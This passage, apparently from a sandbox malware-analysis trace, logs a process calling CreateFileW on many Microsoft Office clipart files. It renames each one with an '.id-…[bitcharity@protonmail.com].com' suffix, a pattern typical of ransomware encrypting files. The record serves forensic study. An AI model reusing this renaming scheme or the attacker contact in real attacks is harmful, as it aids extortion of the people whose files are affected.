office\\root\\clipart\\pub60cor\\j0200279.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.083] CloseHandle (hObject=0x11d0) returned 1 [0253.085] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.085] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227419.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.085] CloseHandle (hObject=0x11d0) returned 1 [0253.086] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.086] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227558.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.087] CloseHandle (hObject=0x11d0) returned 1 [0253.088] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.088] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228823.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228823.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.089] CloseHandle (hObject=0x11d0) returned 1 [0253.092] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.092] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228959.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.092] CloseHandle (hObject=0x11d0) returned 1 [0253.094] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.094] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230553.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.094] CloseHandle (hObject=0x11d0) returned 1 [0253.095] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.096] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230558.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.096] CloseHandle (hObject=0x11d0) returned 1 [0253.097] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.097] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232171.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232171.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.097] CloseHandle (hObject=0x11d0) returned 1 [0253.098] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.099] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232393.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.099] CloseHandle (hObject=0x11d0) returned 1 [0253.100] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.101] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232395.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.101] CloseHandle (hObject=0x11d0) returned 1 [0253.102] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.102] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232795.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.102] CloseHandle (hObject=0x11d0) returned 1 [0253.104] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.104] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232797.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232797.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.104] CloseHandle (hObject=0x11d0) returned 1 [0253.106] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.106] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232803.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.106] CloseHandle (hObject=0x11d0) returned 1 [0253.108] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.108] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233512.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.108] CloseHandle (hObject=0x11d0) returned 1 [0253.109] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.109] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233665.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.110] CloseHandle (hObject=0x11d0) returned 1 [0253.111] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.111] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233992.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233992.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.112] CloseHandle (hObject=0x11d0) returned 1 [0253.113] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.113] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234000.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.114] CloseHandle (hObject=0x11d0) returned 1 [0253.118] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.118] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234001.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.119] CloseHandle (hObject=0x1194) returned 1 [0253.120] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.120] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237225.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237225.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.121] CloseHandle (hObject=0x1194) returned 1 [0253.744] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.744] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239191.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.744] CloseHandle (hObject=0x1234) returned 1 [0253.748] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.748] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0280468.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.748] CloseHandle (hObject=0x1234) returned 1 [0253.750] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.750] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281008.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281008.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.751] CloseHandle (hObject=0x1234) returned 1 [0253.752] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.752] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281243.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.752] CloseHandle (hObject=0x1234) returned 1 [0253.754] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.754] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281630.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.754] CloseHandle (hObject=0x1234) returned 1 [0253.756] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.756] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281632.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.756] CloseHandle (hObject=0x1234) returned 1 [0253.757] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.757] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281638.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281638.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.758] CloseHandle (hObject=0x1234) returned 1 [0253.759] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.759] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281640.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.759] CloseHandle (hObject=0x1234) returned 1 [0253.760] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.760] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282126.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.761] CloseHandle (hObject=0x1234) returned 1 [0253.762] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.762] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282928.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.762] CloseHandle (hObject=0x1234) returned 1 [0253.763] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.763] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282932.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282932.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.764] CloseHandle (hObject=0x1234) returned 1 [0253.765] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.765] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285462.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.766] CloseHandle (hObject=0x1234) returned 1 [0253.767] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.767] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285484.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.768] CloseHandle (hObject=0x1234) returned 1 [0253.769] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.769] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285780.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.769] CloseHandle 